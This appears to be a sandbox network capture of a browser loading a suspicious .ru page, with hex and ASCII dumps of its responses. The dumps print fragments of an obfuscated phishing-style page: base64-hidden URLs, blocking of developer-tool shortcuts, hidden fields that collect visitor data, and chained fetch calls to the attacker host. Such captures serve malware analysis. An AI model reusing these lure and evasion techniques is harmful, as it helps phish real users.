2025-01-07 14:18:23 UTC	669	OUT	GET /xffUffYo/ HTTP/1.1 Host: oe3.welialicha.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:24 UTC	1248	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 14:18:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ygMYrKdeQ4KInqO1P8OlUx4feROMM%2BtFI%2ByS3O7h710CkMpTndX9wNXIC8RZ%2FUlP1ghd3WRryC%2Fq8C9VOMZSOu5HYPsAQnFa%2Fqo%2FEtpSUWrBLvQamDFLj4jcJCXBSQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5688&min_rtt=5570&rtt_var=1638&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1572&delivery_rate=502736&cwnd=233&unsent_bytes=0&cid=c3a876eef43fd040&ts=142&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IlVJdnI4Z3NPRi9QRm5UM2hKcDdzSFE9PSIsInZhbHVlIjoiZXhydWMxbEhKK3lGYUVsK1c4K0xRa1ZVZ2g5eTZxVURLVjMrRzVxQ080cjkxMU5sS1daSE9SbDJxczhoV3FFUk9wdHFXRWZDd1VzNDIxbUhiZ2VRRzNwMTk2UDZOY2xtODEzN3lreFBIV3FmTHN0b3BOSmcwNVQwdTgrUGhEengiLCJtYWMiOiIzMTljOWI0OWMyNjU4YjIxZGFlZWE3NmUyOTcyYmNiODc1YTUzMjYzNmMzYzY1YmE3Mjk4OTQ3MDJhNjc1MjcwIiwidGFnIjoiIn0%3D; expires=Tue, 07-Jan-2025 16:18:24 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-01-07 14:18:24 UTC	732	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 67 35 62 57 74 77 56 55 52 71 65 56 52 6a 59 6b 4d 7a 53 57 68 43 59 6e 4a 36 4b 33 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 63 6e 64 52 63 47 34 77 64 7a 4a 42 59 32 35 31 55 58 68 6d 53 55 6c 59 5a 55 46 5a 4e 7a 59 35 4d 47 74 61 56 48 5a 36 64 7a 4a 79 5a 30 30 35 65 57 30 79 64 6a 4a 61 62 6a 46 50 52 56 70 79 63 6c 6c 7a 63 44 5a 34 51 55 78 6a 62 6e 56 46 52 54 4a 35 54 47 52 70 57 6d 35 34 57 46 55 32 56 6d 56 51 62 6c 52 59 56 48 6c 46 61 44 4e 43 4d 44 46 69 52 44 6c 47 4e 6b 56 6d 51 6a 42 4c 61 56 42 44 5a 32 56 54 4c 33 46 76 64 57 31 54 65 57 52 34 57 47 35 4f 53 30 56 54 4c 32 52 79 62 6c 56 34 53 31 56 4c 4d 6c 6f Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Ijg5bWtwVURqeVRjYkMzSWhCYnJ6K3c9PSIsInZhbHVlIjoicndRcG4wdzJBY251UXhmSUlYZUFZNzY5MGtaVHZ6dzJyZ005eW0ydjJabjFPRVpycllzcDZ4QUxjbnVFRTJ5TGRpWm54WFU2VmVQblRYVHlFaDNCMDFiRDlGNkVmQjBLaVBDZ2VTL3FvdW1TeWR4WG5OS0VTL2RyblV4S1VLMlo
2025-01-07 14:18:24 UTC	1369	IN	Data Raw: 38 33 34 0d 0a 3c 21 2d 2d 20 53 75 63 63 65 73 73 20 69 73 20 74 68 65 20 73 75 6d 20 6f 66 20 73 6d 61 6c 6c 20 65 66 66 6f 72 74 73 2c 20 72 65 70 65 61 74 65 64 20 64 61 79 20 69 6e 20 61 6e 64 20 64 61 79 20 6f 75 74 2e 20 2d 2d 3e 0d 0a 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 2f 2a 20 54 68 65 20 6f 6e 6c 79 20 6c 69 6d 69 74 20 74 6f 20 6f 75 72 20 72 65 61 6c 69 7a 61 74 69 6f 6e 20 6f 66 20 74 6f 6d 6f 72 72 6f 77 20 77 69 6c 6c 20 62 65 20 6f 75 72 20 64 6f 75 62 74 73 20 6f 66 20 74 6f 64 61 79 2e 20 2a 2f 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 51 51 54 68 44 4c 6e 64 6c 62 47 6c 68 62 47 6c 6a 61 47 45 75 63 6e 55 76 65 47 5a 6d 56 57 5a 6d 57 57 38 76 22 29 20 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 64 6f 63 75 Data Ascii: 834... Success is the sum of small efforts, repeated day in and day out. --><script>/* The only limit to our realization of tomorrow will be our doubts of today. */if(atob("aHR0cHM6Ly9QQThDLndlbGlhbGljaGEucnUveGZmVWZmWW8v") == "nomatch"){docu
2025-01-07 14:18:24 UTC	738	IN	Data Raw: 6c 4f 6a 45 75 4e 58 4a 6c 62 54 74 39 44 51 70 39 44 51 6f 6a 53 6c 42 68 55 31 68 73 52 6d 56 34 56 53 42 77 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 4d 44 74 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 74 4f 6a 46 79 5a 57 30 37 66 51 30 4b 49 30 70 51 59 56 4e 59 62 45 5a 6c 65 46 55 75 59 32 46 77 64 47 4e 6f 59 53 31 6a 62 32 35 30 59 57 6c 75 5a 58 4a 37 63 47 39 7a 61 58 52 70 62 32 34 36 49 48 4a 6c 62 47 46 30 61 58 5a 6c 4f 33 52 76 63 44 6f 67 4d 54 55 30 63 48 67 37 4c 79 70 33 61 57 52 30 61 44 6f 67 4d 54 41 77 4a 54 73 71 4c 33 42 68 5a 47 52 70 62 6d 63 74 63 6d 6c 6e 61 48 51 36 49 48 5a 68 63 69 67 74 4c 57 4a 7a 4c 57 64 31 64 48 52 6c 63 69 31 34 4c 43 41 75 4e 7a 56 79 5a 57 30 70 4f 33 42 68 5a 47 52 70 62 6d 63 74 62 47 Data Ascii: lOjEuNXJlbTt9DQp9DQojSlBhU1hsRmV4VSBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI0pQYVNYbEZleFUuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTU0cHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbG
2025-01-07 14:18:24 UTC	1369	IN	Data Raw: 63 35 66 0d 0a 77 63 6d 56 74 49 43 73 67 4c 6a 4e 32 64 79 6b 37 66 51 30 4b 49 30 70 51 59 56 4e 59 62 45 5a 6c 65 46 55 67 4c 6d 70 31 63 33 52 70 5a 6e 6b 74 59 32 39 75 64 47 56 75 64 43 31 6a 5a 57 35 30 5a 58 4a 37 61 6e 56 7a 64 47 6c 6d 65 53 31 6a 62 32 35 30 5a 57 35 30 4f 6d 4e 6c 62 6e 52 6c 63 69 46 70 62 58 42 76 63 6e 52 68 62 6e 51 37 66 51 30 4b 49 30 70 51 59 56 4e 59 62 45 5a 6c 65 46 55 75 62 58 51 74 4e 58 74 74 59 58 4a 6e 61 57 34 74 64 47 39 77 4f 6a 4e 79 5a 57 30 68 61 57 31 77 62 33 4a 30 59 57 35 30 4f 33 30 4e 43 69 4e 4b 55 47 46 54 57 47 78 47 5a 58 68 56 49 43 35 74 64 43 30 30 49 48 74 74 59 58 4a 6e 61 57 34 74 64 47 39 77 4f 69 41 78 63 6d 56 74 49 57 6c 74 63 47 39 79 64 47 46 75 64 44 74 39 44 51 6f 6a 53 6c 42 68 55 Data Ascii: c5fwcmVtICsgLjN2dyk7fQ0KI0pQYVNYbEZleFUgLmp1c3RpZnktY29udGVudC1jZW50ZXJ7anVzdGlmeS1jb250ZW50OmNlbnRlciFpbXBvcnRhbnQ7fQ0KI0pQYVNYbEZleFUubXQtNXttYXJnaW4tdG9wOjNyZW0haW1wb3J0YW50O30NCiNKUGFTWGxGZXhVIC5tdC00IHttYXJnaW4tdG9wOiAxcmVtIWltcG9ydGFudDt9DQojSlBhU
2025-01-07 14:18:24 UTC	1369	IN	Data Raw: 75 64 43 35 68 62 48 52 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4e 7a 4d 70 49 48 78 38 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 68 6c 64 6d 56 75 64 43 35 74 5a 58 52 68 53 32 56 35 49 43 59 6d 49 47 56 32 5a 57 35 30 4c 6d 46 73 64 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 72 5a 58 6c 44 62 32 52 6c 49 44 30 39 50 53 41 32 4e 79 6b 67 66 48 77 4e 43 69 41 67 49 43 41 67 49 43 41 67 4b 47 56 32 5a 57 35 30 4c 6d 31 6c 64 47 46 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4f 44 55 70 44 51 6f 67 49 43 41 67 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 56 32 5a 57 35 30 4c 6e 42 79 5a 58 5a 6c 62 6e 52 45 5a 57 5a 68 64 57 Data Ascii: udC5hbHRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA2NykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gODUpDQogICAgKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdW
2025-01-07 14:18:24 UTC	436	IN	Data Raw: 50 53 4a 6a 59 58 42 30 59 32 68 68 4c 57 4e 76 62 6e 52 68 61 57 35 6c 63 69 49 2b 44 51 6f 38 5a 47 6c 32 49 47 6c 6b 50 53 4a 71 57 47 35 56 5a 6c 52 33 57 6e 4a 5a 49 69 42 6a 62 47 46 7a 63 7a 30 69 61 6e 56 7a 64 47 6c 6d 65 53 31 6a 62 32 35 30 5a 57 35 30 4c 57 4e 6c 62 6e 52 6c 63 69 49 2b 44 51 6f 38 5a 47 6c 32 49 47 4e 73 59 58 4e 7a 50 53 4a 30 5a 58 68 30 4c 57 4e 6c 62 6e 52 6c 63 69 49 2b 44 51 6f 38 5a 6d 39 79 62 53 42 70 5a 44 30 69 51 33 4a 58 54 6e 68 43 51 30 4e 72 55 53 49 2b 44 51 6f 38 5a 47 6c 32 49 47 4e 73 59 58 4e 7a 50 53 4a 6a 5a 6c 39 30 64 58 4a 75 63 33 52 70 62 47 55 69 49 47 6c 6b 50 53 4a 6a 5a 69 49 2b 50 43 39 6b 61 58 59 2b 44 51 6f 38 61 57 35 77 64 58 51 67 64 48 6c 77 5a 54 30 69 61 47 6c 6b 5a 47 56 75 49 69 42 Data Ascii: PSJjYXB0Y2hhLWNvbnRhaW5lciI+DQo8ZGl2IGlkPSJqWG5VZlR3WnJZIiBjbGFzcz0ianVzdGlmeS1jb250ZW50LWNlbnRlciI+DQo8ZGl2IGNsYXNzPSJ0ZXh0LWNlbnRlciI+DQo8Zm9ybSBpZD0iQ3JXTnhCQ0NrUSI+DQo8ZGl2IGNsYXNzPSJjZl90dXJuc3RpbGUiIGlkPSJjZiI+PC9kaXY+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiB
2025-01-07 14:18:24 UTC	1369	IN	Data Raw: 33 39 31 35 0d 0a 6c 75 63 48 56 30 49 48 52 35 63 47 55 39 49 6d 68 70 5a 47 52 6c 62 69 49 67 61 57 51 39 49 6d 4a 73 64 47 52 70 63 43 49 67 62 6d 46 74 5a 54 30 69 59 6d 78 30 5a 47 6c 77 49 69 42 32 59 57 78 31 5a 54 30 69 56 57 35 72 62 6d 39 33 62 69 49 2b 44 51 6f 38 61 57 35 77 64 58 51 67 64 48 6c 77 5a 54 30 69 61 47 6c 6b 5a 47 56 75 49 69 42 70 5a 44 30 69 59 6d 78 30 5a 48 4a 6c 5a 69 49 67 62 6d 46 74 5a 54 30 69 59 6d 78 30 5a 48 4a 6c 5a 69 49 67 64 6d 46 73 64 57 55 39 49 69 49 2b 44 51 6f 38 61 57 35 77 64 58 51 67 64 48 6c 77 5a 54 30 69 61 47 6c 6b 5a 47 56 75 49 69 42 70 5a 44 30 69 59 6d 78 30 5a 48 56 68 49 69 42 75 59 57 31 6c 50 53 4a 69 62 48 52 6b 64 57 45 69 49 48 5a 68 62 48 56 6c 50 53 4a 56 62 6d 74 75 62 33 64 75 49 6a 34 Data Ascii: 3915lucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImJsdGRpcCIgbmFtZT0iYmx0ZGlwIiB2YWx1ZT0iVW5rbm93biI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iYmx0ZHJlZiIgbmFtZT0iYmx0ZHJlZiIgdmFsdWU9IiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iYmx0ZHVhIiBuYW1lPSJibHRkdWEiIHZhbHVlPSJVbmtub3duIj4
2025-01-07 14:18:24 UTC	1369	IN	Data Raw: 6c 4e 48 52 6b 70 52 51 55 64 52 51 56 4a 42 56 6b 31 55 52 6c 4e 55 56 46 5a 47 57 6b 78 4e 54 6b 5a 61 52 31 52 53 4a 79 77 67 65 77 30 4b 49 43 41 67 49 47 31 6c 64 47 68 76 5a 44 6f 67 49 6b 64 46 56 43 49 73 44 51 6f 67 49 43 41 67 66 53 6b 75 64 47 68 6c 62 69 68 79 5a 58 4e 77 62 32 35 7a 5a 53 41 39 50 69 42 37 44 51 6f 67 49 43 41 67 63 6d 56 30 64 58 4a 75 49 48 4a 6c 63 33 42 76 62 6e 4e 6c 4c 6e 52 6c 65 48 51 6f 4b 51 30 4b 49 43 41 67 49 48 30 70 4c 6e 52 6f 5a 57 34 6f 64 47 56 34 64 43 41 39 50 69 42 37 44 51 6f 67 49 43 41 67 61 57 59 6f 64 47 56 34 64 43 41 39 50 53 41 77 4b 58 73 4e 43 69 41 67 49 43 42 6d 5a 58 52 6a 61 43 68 7a 59 56 52 6a 59 33 5a 53 56 47 31 57 4c 43 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 31 6c 64 47 68 76 Data Ascii: lNHRkpRQUdRQVJBVk1URlNUVFZGWkxNTkZaR1RSJywgew0KICAgIG1ldGhvZDogIkdFVCIsDQogICAgfSkudGhlbihyZXNwb25zZSA9PiB7DQogICAgcmV0dXJuIHJlc3BvbnNlLnRleHQoKQ0KICAgIH0pLnRoZW4odGV4dCA9PiB7DQogICAgaWYodGV4dCA9PSAwKXsNCiAgICBmZXRjaChzYVRjY3ZSVG1WLCB7DQogICAgICAgIG1ldGhv
2025-01-07 14:18:24 UTC	1369	IN	Data Raw: 59 75 47 76 71 79 70 6b 4a 20 3d 20 6e 65 77 20 55 52 4c 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 51 51 54 68 44 4c 6e 64 6c 62 47 6c 68 62 47 6c 6a 61 47 45 75 63 6e 55 76 65 47 5a 6d 56 57 5a 6d 57 57 38 76 22 29 29 3b 0d 0a 63 6f 6e 73 74 20 5a 4b 6b 6d 67 6c 4c 69 57 4e 20 3d 20 4c 59 75 47 76 71 79 70 6b 4a 2e 68 6f 73 74 6e 61 6d 65 20 3d 3d 3d 20 49 6f 4a 64 79 44 58 57 79 64 20 3f 20 4c 59 75 47 76 71 79 70 6b 4a 2e 68 6f 73 74 6e 61 6d 65 20 3a 20 4c 59 75 47 76 71 79 70 6b 4a 2e 68 6f 73 74 6e 61 6d 65 2e 73 70 6c 69 74 28 27 2e 27 29 2e 73 6c 69 63 65 28 2d 32 29 2e 6a 6f 69 6e 28 27 2e 27 29 3b 0d 0a 2f 2a 20 54 68 65 20 6f 6e 6c 79 20 70 6c 61 63 65 20 77 68 65 72 65 20 73 75 63 63 65 73 73 20 63 6f 6d 65 73 20 62 65 66 6f 72 65 Data Ascii: YuGvqypkJ = new URL(atob("aHR0cHM6Ly9QQThDLndlbGlhbGljaGEucnUveGZmVWZmWW8v"));const ZKkmglLiWN = LYuGvqypkJ.hostname === IoJdyDXWyd ? LYuGvqypkJ.hostname : LYuGvqypkJ.hostname.split('.').slice(-2).join('.');/* The only place where success comes before
2025-01-07 14:18:24 UTC	1369	IN	Data Raw: 44 51 6f 67 49 47 4a 68 59 32 74 6e 63 6d 39 31 62 6d 51 74 59 32 39 73 62 33 49 36 49 43 4e 6d 5a 6d 59 37 44 51 6f 67 49 47 68 6c 61 57 64 6f 64 44 6f 67 4d 54 41 77 4a 54 73 4e 43 69 41 67 62 33 5a 6c 63 6d 5a 73 62 33 63 36 49 47 68 70 5a 47 52 6c 62 6a 73 4e 43 6e 30 4e 43 69 4e 4b 55 47 46 54 57 47 78 47 5a 58 68 56 49 47 67 30 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 4d 44 74 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 74 4f 69 34 31 63 6d 56 74 4f 32 5a 76 62 6e 51 74 64 32 56 70 5a 32 68 30 4f 6a 55 77 4d 44 74 73 61 57 35 6c 4c 57 68 6c 61 57 64 6f 64 44 6f 78 4c 6a 49 37 66 51 30 4b 49 30 70 51 59 56 4e 59 62 45 5a 6c 65 46 55 67 61 44 52 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6d 4e 68 62 47 4d 6f 4d 53 34 7a 4b 54 74 39 44 51 70 Data Ascii: DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNKUGFTWGxGZXhVIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI0pQYVNYbEZleFUgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49725	104.18.94.41	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:24 UTC	649	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oe3.welialicha.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:25 UTC	386	IN	HTTP/1.1 302 Found Date: Tue, 07 Jan 2025 14:18:25 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/849bfe45bf45/api.js Server: cloudflare CF-RAY: 8fe493b28dda8c3f-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49726	104.17.25.14	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:24 UTC	651	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oe3.welialicha.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:25 UTC	963	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 14:18:25 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1125253 Expires: Sun, 28 Dec 2025 14:18:25 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9FvZ5KugiCd%2B9kG2WtyXlLK4MSvLDR6EmJbkNwb%2FGGoJFTcMFlntpHesoXr2chsn9X6e6R%2BYVb1s6qVdAQ1elHfHcaCEUVgOrQD%2B75ssAwwrQzygOObniKt7nBd7saXv%2Btd8UGa8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8fe493b2985e0f59-EWR alt-svc: h3=":443"; ma=86400
2025-01-07 14:18:25 UTC	406	IN	Data Raw: 33 39 37 37 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 3977!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 Data Ascii: ypeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object
2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 Data Ascii: one.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomB
2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 Data Ascii: ==typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0
